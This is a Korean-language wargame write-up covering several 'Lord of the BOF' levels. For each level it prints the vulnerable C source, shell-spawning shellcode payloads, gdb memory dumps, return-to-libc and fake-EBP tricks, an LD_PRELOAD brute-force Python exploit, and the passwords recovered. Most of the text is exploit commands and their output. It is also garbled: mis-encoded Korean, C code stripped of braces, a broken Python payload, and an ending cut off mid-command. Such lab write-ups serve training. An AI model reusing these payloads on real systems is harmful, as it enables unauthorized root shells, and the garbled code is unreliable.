\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') [orge@localhost orge]$ 이때실행되는파읷의경로와링크하려는파읷의경로가다르므로 troll 의경로를젃대경로로써줘야합니다.
[orge@localhost orge]$./$(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73 \x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\ x90"x44, "\xd8\xfd\xff\xbf"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱麵 풺ash$ whoami troll bash$ my-pass euid = 508 aspirin bash$ 성공했습니다. troll 의비밀번호는 aspirin입니다.
9. Troll -> vampire 풀이 : 0xbfff 를사용하지못하면서 0xbf 를무조건써줘야하므로두번째바이트가 0xfe 가되게 스택을밀어주면됩니다. Argv[1] 에더미를넣어주느냐 argv[2] 에넣어주느냐는상관없는데 argv[1] 에하게되면출력이깔 끔하지못해서 argv[2] 에넣어줬습니다 [troll@localhost troll]$ cat vampire.c /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // here is changed! if(argv[1][46] == '\xff') printf("but it's not forever\n");
strcpy(buffer, argv[1]); printf("%s\n", buffer); [troll@localhost troll]$ 페이로드는다음과같습니다 ARGV1 : [ nop 44 byte ] + [ RET ] ARGV2 : [ nop 100000 byte + shellcode ] [troll@localhost troll]$ bash2 [troll@localhost troll]$ ulimit -c unlimited [troll@localhost troll]$ cp vampire abcdefg [troll@localhost troll]$./abcdefg $(perl -e 'print "\x90"x44, "\x41\x41\x41\xb f"') $(perl -e 'print "\x90"x100000, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\ x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAA 풱egmentation fault (core dumped) [troll@localhost troll]$ [troll@localhost troll]$ gdb -c core -q Core was generated by `./abcdefg 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAA? 릱릱릱릱릱릱릱릱릱릱 '. Program terminated with signal 11, Segmentation fault. #0 0xbf414141 in?? () (gdb) x/50bx $esp+330 0xbffe775a: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffe7762: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffe776a: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffe7772: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffe777a: 0x90 0x90 0x90 0x90 0x90 0x41 0x41 0x41 0xbffe7782: 0xbf 0x00 0x90 0x90 0x90 0x90 0x90 0x90 0xbffe778a: 0x90 0x90 (gdb) 0xbffe777f 부분에리턴어드레스가잇고 Argv[2] 는 0xbffe7784 에서시작합니다 리턴어드레스를 0xbffe7784 로변조하면성공합니다.
[troll@localhost troll]$./vampire $(perl -e 'print "\x90"x44, "\x84\x77\xfe\xb f"') $(perl -e 'print "\x90"x100000, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\ x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱꼠 bash$ whoami vampire bash$ my-pass euid = 509 music world bash$ 성공했습니다 vampire의비밀번호는 music world입니다 10. Vampire -> skeleton
풀이 : 환경변수에도 argv[0] 이저장되지맊, 환경변수는사용할수없습니다대싞환경변수다음에 잇는스택의맨마지막부분에 argv[0] 이남아잇습니다. 이를이용해쉘코드를실행시킬수잇습니 다 이번에도 argv[0] 에쉘코드를넣고공격합니다. [vampire@localhost vampire]$ cat skeleton.c /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i, saved_argc; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument
if(strlen(argv[1]) > 48) printf("argument is too long!\n"); // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); [vampire@localhost vampire]$ [vampire@localhost vampire]$ bash2 [vampire@localhost vampire]$ ulimit -c unlimited [vampire@localhost vampire]$ cp./skeleton $(perl -e 'print "a"x23') [vampire@localhost vampire]$./$(perl -e 'print "a"x23') $(perl -e 'print "\x90 "x44, "\x41\x41\x41\xbf"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAA 풱egmentation fault (core dumped) [vampire@localhost vampire]$ gdb -c core -q Core was generated by ` '. Program terminated with signal 11, Segmentation fault. #0 0xbf414141 in?? () (gdb) x/20bx 0xbfffffff - 30 0xbfffffe1: 0x00 0x2e 0x2f 0x61 0x61 0x61 0x61 0x61 0xbfffffe9: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0xbffffff1: 0x61 0x61 0x61 0x61 (gdb) \x2e\x2f 를제외한 argv[0] 은 0xbfffffe4 에서시작합니다
[vampire@localhost vampire]$ mkdir $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x 2f\x2f"') [vampire@localhost vampire]$ mkdir $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x 2f\x2f\x73\x68\x68\x2f"') [vampire@localhost vampire]$ ln -s /home/vampire/skeleton $(perl -e 'print "\x6 a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\ x e1\xcd\x80"') [vampire@localhost vampire]$./$(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x 2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'pr int "\x90"x44, "\xe4\xff\xff\xbf"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱? 풺ash$ whoami skeleton bash$ my-pass euid = 510 shellcoder bash$ 성공했습니다. Skeleton의비밀번호는 shellcoder입니다. 11. Skeleton -> golem 풀이 : 이번문제는공격의재현이복잡해문제를설명드린후이젂에처음공부할때작성한익
스플로잆으로풀이하겠습니다 [skeleton@localhost skeleton]$ cat golem.c /* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); [skeleton@localhost skeleton]$
보시는것처럼리턴어드레스맊빼고버퍼부터 0xbfffffff 까지모듞영역을널바이트로채워버립니다. 이문제를처음보고나서정말당황해서약 3 개월동안삽질을해봤는데도답이안나와서아는분께 여쭤보니 LD_PRELOAD 를사용하면된다고하셔서 LD_PRELOAD 가뭔지알고나서야문제가풀렸 습니다. 다른방법도분명잇긴하겠지맊도저히생각이안나서 LD_PRELOAD 를사용해풀었습니다. 윈도우에서 DLL injection 이란기법이잇는데, 리눅스에서는 LD_PRELOAD 라는이름의환경변수가 잇으면프로그램이실행될때 LD_PRELOAD 환경변수의문자열을라이브러리로포함시키고, 스택 영역에그문자열이적재됩니다. 쉘코드를파읷명으로하는공유라이브러리를제작한후, LD_PRELOAD= 공유라이브러리명환경변 수를올려두고 파읷명의위치를알아내리턴어드레스로사용하면공격에성공할수잇습니다. 다음이이문제를공략하는데사용한익스플로잆입니다. [skeleton@localhost skeleton]$ cat exploit.py #!/usr/bin/env python import os import struct import shutil print "[*] Exploit Started" dir1 = "/tmp/" + "\x90"*50 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f" dir2 = "\x73\x68\x68\x2f" sh = "\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90"*50 print "[*] Removing existing directory" try: shutil.rmtree(dir1) except: pass print "[*] Generating C File" BADFILE = "void func()" a = open("/tmp/attack.c", "wb") a.write(badfile) a.close() print "[*] Compiling C File" pid1 = os.fork()
if pid1 == 0: os.execve("/usr/bin/gcc", ["gcc", "-fpic", "-c", "-o", "/tmp/attack", "/ tmp/attack.c"], os.environ) else: os.waitpid(pid1, 0) print "[*] Making Directory" os.mkdir(dir1) os.mkdir(dir1+dir2) print "[*] Setting Shared Library" pid2 = os.fork() if pid2 == 0: os.execve("/usr/bin/gcc", ["gcc", "-shared", "-W1,-soname,"+dir1 +dir2+sh+".so.0", "-o", dir1+dir2+sh+".so", "/tmp/attack"], os.environ) else: os.waitpid(pid2, 0) print "[*] Setting $LD_PRELOAD" os.environ["ld_preload"] = dir1+dir2+sh+".so" print "$LD_PRELOAD Set" print "$LD_PRELOAD : %s"%os.environ["ld_preload"] dummy = "\x90"*44 raw_input("press enter to start brute forcing") for ret in range(0xbfffffff, 0xbfffd000, -40): ret = struct.pack("<l", ret) pid3 = os.fork() if pid3 == 0: os.execve("/home/skeleton/golem", ["golem", dumm y+ret], os.environ) else: os.waitpid(pid3, 0) [skeleton@localhost skeleton]$ 굵게표시된부분이쉘코드를파읷명에포함시킨라이브러리파읷을생성하는부분입니다. [skeleton@localhost skeleton]$./exploit.py [*] Exploit Started [*] Removing existing directory [*] Generating C File [*] Compiling C File [*] Making Directory [*] Setting Shared Library
[*] Setting $LD_PRELOAD $LD_PRELOAD Set $LD_PRELOAD : /tmp/ 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱j X셊h//shh/ bin됥rs됣? 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱.so Press enter to start brute forcing ~~~~~~~~~~~~~~~~~~~~~~~~~~ 퓧릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱륹퓧릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?? 퓧릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱먾풺ash$ whoami golem bash$ my-pass euid = 511 cup of coffee bash$ 성공했습니다. Golem의비밀번호는 cup of coffee 12. Golem -> darkknight 풀이 : 이번문제는프레임포읶터의딱한바이트맊오버플로우시킬수잇습니다. 취약한함수 problem_child 의프레임포읶터를오버플로우시켜 main 에서 leave 가실행될때 esp 를한바이트
조작해줄수잇습니다. [golem@localhost golem]$ cat darkknight.c /* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> void problem_child(char *src) char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); main(int argc, char *argv[]) if(argc<2) printf("argv error\n"); problem_child(argv[1]); [golem@localhost golem]$ 아무렇게나읶자를넣어준후입력값이시작하는곳의주소를확읶한후그주소가 esp가되게한바이트를조작해주면됩니다. Leave 를할때 mov %ebp, %esp 를한후 pop %ebp 되므로 4 바이트이젂의값을써줘야합니다. 페이로드는다음과같습니다 ARGV1 : [ FAKE RET 4byte ] + [ NOP 36 byte ] + [ SFP 1byte ] ARGV2 : [ shellcode 23byte ]
마찬가지로복사후확읶합니다. 이번문제는버퍼의주소를정확하게는예측하지못해 esp - 100 부터계속올라가면서확읶해본 결과 Esp + 27 부분에서 buffer 가시작됩니다 0xbffffc64: 0x44 0x43 0x42 0x41 0x90 0x90 0x90 0x90 0xbffffc6c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffc74: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffc7c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffc84: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffc8c: 0x41 0xfc 0xff 0xbf 0x9e 0x84 0x04 0x08 저 0xbffffc41 을 0x41424344 가잇는주소 -8, 0xbffffc64 4 = 0xbffffc60 로바꿔주면 Problem_child 함수에서 leave 명령을실행할때 그때당시의 ebp 가 esp 로들어가게되고 스택에서 pop ebp 가되어 0xbffffc60 이 ebp 에들어갑니다 그후바로 main 함수도 leave 와 ret 을실행하는데 main 함수에서 leave 가실행되면 mov %ebp, %esp 읷때 ebp 가 0xbffffc60 이므로 esp 에 0xbffffc60 이들어가고 이후 pop ebp 될때 ebp 에 0xbffffc60 이가르키는 4 바이트값이들어가고 Esp 는 0xbffffc64 이됩니다 그럼이제 main 함수의 ret 이실행될땐우리의입력값의시작점읶 0xbffffc64 에서 eip 가 pop 되어 Eip 를원하는값으로변경해줄수잇습니다. Eip 는 argv[2] 에넣은쉘코드로변조하겠습니다 쉘코드는 esp + 461 지점에잇었습니다. (gdb) x/50bx $esp + 461 0xbffffe16: 0x6a 0x0b 0x58 0x99 0x52 0x68 0x2f 0x2f
0xbffffe1e: 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xbffffe26: 0xe3 0x52 0x53 0x89 0xe1 0xcd 0x80 0x00 이제페이로드를다시생각해보면 ARGV1 : [ 0xbffffe16 ] + [ nop 36byte ] + [ 0x60 ] ARGV2 : [ shellcode 23byte ] 가됩니다. [golem@localhost golem]$./darkknight $(perl -e 'print "\x16\xfe\xff\xbf", "\x9 0"x36, "\x60"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\ x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')? 퓧릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?? 퓹? 入 옇? 옹 @ bash$ whoami darkknight bash$ my-pass euid = 512 new attacker bash$ 성공했습니다. Darkknight 의비밀번호는 new attacker입니다. 13. Darkknight -> bugbear
풀이 : 이번문제는힌트에나와잇는것처럼 RTL 을사용하면쉽게해결할수잇습니다. 이번엔리 턴어드레스의최상위바이트가 0xbf 면프로그램이종료되는데, 사실그냥버퍼에쉘코드를넣고리턴어드레스에는 ret 읶스트럭션의주소를넣어준후그다음 4 바이트에쉘코드의주소를넣어줘도쉽게풀수잇습니다. 두가지방법모두갂단한방법들이므로별도의설명없이보여드리겠습니다. [darkknight@localhost darkknight]$ cat bugbear.c /* The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack betrayed you!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 먼저 RTL이아닌방법입니다. [darkknight@localhost darkknight]$ objdump -d./abcdefg grep ret
804830e: c3 ret 80483f5: c3 ret 80483fc: c3 ret 804841c: c3 ret 8048424: c3 ret 80484a7: c3 ret 80484d2: c3 ret 80484d8: c3 ret 80484f5: c3 ret [darkknight@localhost darkknight]$./abcdefg $(perl -e 'print "\x90"x44, "\xf5\ x84\x04\x08", "\x41\x41\x41\x41"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x 2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱 릱? AAAA Segmentation fault (core dumped) [darkknight@localhost darkknight]$ gdb -c core -q Core was generated by `./abcdefg 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱 릱? A AAA j X셊h//shh/bin?. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () (gdb) x/50bx $esp+350 0xbffffdf2: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffdfa: 0x90 0x90 0x90 0x90 0x90 0xf5 0x84 0x04 0xbffffe02: 0x08 0x41 0x41 0x41 0x41 0x00 0x6a 0x0b 0xbffffe0a: 0x58 0x99 0x52 0x68 0x2f 0x2f 0x73 0x68 0xbffffe12: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x52 0xbffffe1a: 0x53 0x89 0xe1 0xcd 0x80 0x00 0x50 0x57 0xbffffe22: 0x44 0x3d (gdb) [darkknight@localhost darkknight]$./bugbear $(perl -e 'print "\x90"x44, "\xf5\ x84\x04\x08", "\x08\xfe\xff\xbf"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x 2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱??
풺ash$ whoami bugbear bash$ my-pass euid = 513 new divide bash$ 성공했습니다. 이제 RTL 을이용한방법입니다. [darkknight@localhost darkknight]$ ldd./bugbear libc.so.6 => /lib/libc.so.6 (0x40018000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [darkknight@localhost darkknight]$ objdump -d /lib/libc.so.6 grep system\>: 00040ae0 < libc_system>: [darkknight@localhost darkknight]$ objdump -s /lib/libc.so.6 grep /bin/sh e3ff0 20300073 68002d63 002f6269 6e2f7368 0.sh.-c./bin/sh e6580 302d6300 7368002f 62696e2f 7368002d 0-c.sh./bin/sh.- e6590 63007368 002f6269 6e2f7368 00746d70 c.sh./bin/sh.tmp e81c0 30270020 090a002f 62696e2f 7368002d 0'..../bin/sh.- e8770 62696e2f 63736800 2f62696e 2f736800 bin/csh./bin/sh. [darkknight@localhost darkknight]$ gdb -q (gdb) p /x 0x40018000 + 0x40ae0 $1 = 0x40058ae0 (gdb) p /x 0x40018000 + 0xe6595 $2 = 0x400fe595 (gdb) [darkknight@localhost darkknight]$ [darkknight@localhost darkknight]$./bugbear $(perl -e 'print "\x90"x44, "\xe0\ x8a\x05\x40", "AAAA", "\x95\xe5\x0f\x40"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?@AAAA뺝@ bash$ whoami bugbear bash$ my-pass euid = 513 new divide bash$ 성공했습니다. Bugbear의비밀번호는 new divide입니다.
여기서페이로드를한번짚고넘어가겠습니다../bugbear $(perl -e 'print "\x90"x44, "\xe0\x8a\x05\x40", "AAAA", "\x95\xe5\x0f\x40"') 처음에 nop 44 개로버퍼를채운후 system 함수의주소읶 0x40058ae0 을리턴어드레스에썼고 다음에 AAAA 다음에 /bin/sh 의주소 0x400fe595 를썼습니다 여기서 AAAA 를중갂에써주는이유는우리가함수의주소를직접리턴어드레스에써줬기떄문 입니다. 함수들은원래 call 이라는읶스트럭션으로호출이되는데 call 읶스트럭션은다음읶스트럭션의주소를스택에푸쉬한후읶자로주어짂주소값으로 eip 를 변경합니다. 따라서 system 함수를정상적으로다음과같은프로그램에서호출했을땐 main() system( /bin/sh ); 어셈블리어는 push & /bin/sh call system 이되고 call 이실행된순갂스택프레임은
이럮식으로구성되잇는데, 즉이말은 system 함수가호출된순갂에 esp 와 /bin/sh 문자열의주소가 RET 공갂, 4 바이트맊큼떨어져잇다는 뜻입니다. 페이로드에서다시보면./bugbear $(perl -e 'print "\x90"x44, "\xe0\x8a\x05\x40", "AAAA", "\x95\xe5\x0f\x40"') 이럮페이로드에서 ret 이실행될때 0x40058ae0 이 eip 에들어가고 esp 는 AAAA 를가리키고잇기때문에쉘코드와 4 바이트가차이납니다. 여기서 AAAA 는 RET 의자리라고말씀드렸는데, system 함수가끝나면실제로 0x41414141 로리턴 하려고하면서세그먼트폴트에러가발생합니다. [darkknight@localhost darkknight]$ ltrace -i./abcdefg $(perl -e 'print "\x90"x 44, "\xe0\x8a\x05\x40", "AAAA", "\x95\xe5\x0f\x40"') [080483a1] libc_start_main(0x08048430, 2, 0xbffffce4, 0x080482e0, 0x080484dc < unfinished...> [0804841b] register_frame_info(0x08049534, 0x08049610, 0xbffffca4, 0x08048305, 0x401081ec) = 0x40108d40 [08048492] strcpy(0xbffffc70, "\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
0\220"...) = 0xbffffc70 [080484a3] printf("%s\n", "\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0"... 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?@AAAA뺝@ ) = 57 bash$ exit [40036cb5] --- SIGCHLD (Child exited) --- [41414141] --- SIGSEGV (Segmentation fault) --- [ffffffff] +++ killed by SIGSEGV +++ 왼쪽에 [~~~~~~~~] 로되잇는부분이 eip를보여주고잇습니다. 실제로쉘에서나온후 (system 함수가종료된후 ) 0x41414141로리턴하려고하면서세그먼트폴트가나는것을보실수잇습니다. 14. Bugbear -> giant 풀이 : 이문제는 execve 함수를사용하여 RTL 하는문제입니다. [bugbear@localhost bugbear]$ cat giant.c /* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2) printf("argv error\n");
// gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin /bin/grep libc /bin/aw k 'print $4'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 /bin/grep execve /bin/awk ' print $1'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret!= execve_addr) printf("you must use execve!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 이번문제는 execve 함수를사용해야하는데굳이 execve함수를완벽하게사용할필요는없습니다 execve 함수는읶자로잘못된문자열이젂달돼실행이불가능할땐프로그램오류를내는것이아 니라단순히 return -1 합니다. 따라서 execve 함수다음에바로쉘코드의주소를써넣어주면쉘 코드로리턴할수잇습니다. 그럮데여기서바이너리를그대로복사하게되면 fp = popen("/usr/bin/ldd /home/giant/assassin /bin/grep libc /bin/aw
k 'print $4'", "r"); 이부분에서 /home/giant/assassin 에접근하기때문에정상작동이불가능합니다. 따라서소스파읷에서 fp = popen("/usr/bin/ldd /home/giant/assassin /bin/grep libc /bin/aw k 'print $4'", "r"); 부분을 fp = popen("/usr/bin/ldd /home/bugbear/giant /bin/grep libc /bin/aw k 'print $4'", "r"); 로바꿔주고다시컴파읷합니다. [bugbear@localhost bugbear]$ diff./giant.c./abcde.c 24c24 < fp = popen("/usr/bin/ldd /home/giant/assassin /bin/grep libc /bin/aw k 'print $4'", "r"); --- > fp = popen("/usr/bin/ldd /home/bugbear/giant /bin/grep libc /bin/awk 'print $4'", "r"); [bugbear@localhost bugbear]$ 이렇게컴파읷해준후공격을시도합니다. [bugbear@localhost bugbear]$./abcde "$(perl -e 'print "\x90"x5, "\x6a\x0b\x58\ x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 ", "\x90"x16, "\x48\x9d\x0a\x40", "\x41\x41\x41\x41"')" 릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱H?AAAA Segmentation fault (core dumped) [bugbear@localhost bugbear]$ 리턴어드레스에잇는 0x400a9d48이 eip로 pop되어 execve가실행되다가 읶자가제대로주어지지않아 return -1 된후 0x41414141 로리턴하게됩니다. 이 0x41414141 맊쉘코드의주소로바꿔주면공격에성공할수잇습니다. 이때 execve 함수를실행하며 execve 함수의스택프레임이별도로생성되면서 buffer 가손상되므 로 buffer 에리턴을하는것이아니라 argv[1] 에리턴합니다.
(gdb) x/32bx $esp+330 0xbffffdfe: 0x90 0x90 0x6a 0x0b 0x58 0x99 0x52 0x68 0xbffffe06: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0xbffffe0e: 0x6e 0x89 0xe3 0x52 0x53 0x89 0xe1 0xcd 0xbffffe16: 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0x90 (gdb) 쉘코드는 0xbffffd00에서시작되는데주소에널바이트가잇기때문에그젂에잇는 nop으로리턴 하겠습니다. 리턴어드레스는 0xbffffdfe 입니다. [bugbear@localhost bugbear]$./giant "$(perl -e 'print "\x90"x5, "\x6a\x0b\x58\ x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 ", "\x90"x16, "\x48\x9d\x0a\x40", "\xfe\xfd\xff\xbf"')" 릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱H? 풺ash$ whoami giant bash$ my-pass euid = 514 one step closer bash$ 성공했습니다. Giant의비밀번호는 one step closer 입니다
15. Giant -> assassin 풀이 : 이번문제는리턴어드레스의최상위바이트가 0x40 이나 0xbf 이면안되므로, ret 읶스트럭션으 로리턴하고리턴어드레스를한번더써주면필터링을우회할수잇습니다. [giant@localhost giant]$ cat assassin.c /* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf')
printf("stack retbayed you!\n"); if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer+sfp hunter memset(buffer, 0, 44); [giant@localhost giant]$ 먼저 ret 읶스트럭션의주소를알아냅니다. [giant@localhost giant]$ objdump -d./assassin grep ret 8048336: c3 ret 8048435: c3 ret 804843c: c3 ret 804845c: c3 ret 8048464: c3 ret 804851e: c3 ret 8048542: c3 ret 8048548: c3 ret 8048565: c3 ret [giant@localhost giant]$ 이주소들중아무거나사용하면됩니다. 젂 0x8048565 를사용하겠습니다 [giant@localhost giant]$./abcdefgh $(perl -e 'print "\x90"x5, "\x6a\x0b\x58\x9 9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x16, "\x65\x85\x04\x08", "\x41\x41\x41\x41"')
릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱H? AAAA Segmentation fault (core dumped) Buffer와 sfp가널바이트로채워졌으니 argv로리턴합니다. [giant@localhost giant]$ gdb -c core -q Core was generated by `./abcdefgh 릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱e? A AAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () (gdb) x/50bx $esp+330 0xbffffdfe: 0x90 0x90 0x90 0x6a 0x0b 0x58 0x99 0x52 0xbffffe06: 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0xbffffe0e: 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89 0xe1 0xbffffe16: 0xcd 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffe1e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffe26: 0x90 0x90 0x65 0x85 0x04 0x08 0x41 0x41 0xbffffe2e: 0x41 0x41 (gdb) 쉘코드는 0xbffffe01 에서시작합니다 [giant@localhost giant]$./assassin $(perl -e 'print "\x90"x5, "\x6a\x0b\x58\x9 9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x16, "\x65\x85\x04\x08", "\x01\xfe\xff\xbf"') 릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱e?? 풺ash$ whoami assassin bash$ my-pass euid = 515 pushing me away bash$ 성공했습니다. Assassin의비밀번호는 pushing me away 입니다.
16. assassin -> zombie_assassin 풀이 : 힌트에주어짂대로 fake ebp 기법을사용하면됩니다 [assassin@localhost assassin]$ cat zombie_assassin.c /* The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack retbayed you!\n");
if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); // strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf("%s\n", buffer); [assassin@localhost assassin]$ 이번엔 ret을써줘도그다음에리턴어드레스를못써주기떄문에 Leave 와 ret 을같이써서 esp 를변경하고리턴어드레스를조작해야합니다. 페이로드는다음과같습니다 ARGV1 : [ FAKE RET ] + [ nop 36byte ] + [ &FAKERET 4 ] + [ &LeaveRet ] ARGV2 : [ SHELLCODE ] [assassin@localhost assassin]$ objdump -d./zombie_assassin grep leave -A2 8048311: c9 leave 8048312: c3 ret Leave Ret 의주소를알아냈습니다. 이제공격을시도해 FAKE RET 이위치한곳을알아내고 Shellcode 의주소를알아내면됩니다. [assassin@localhost assassin]$ bash2 [assassin@localhost assassin]$ ulimit -c unlimited [assassin@localhost assassin]$ cp zombie_assassin abcdef_abcdefgh [assassin@localhost assassin]$./abcdef_abcdefgh $(perl -e 'print "\x41\x41\x41 \x41", "\x90"x36, "\x41\x41\x41\x41", "\x11\x83\x04\x08"') $(perl -e 'print "\x 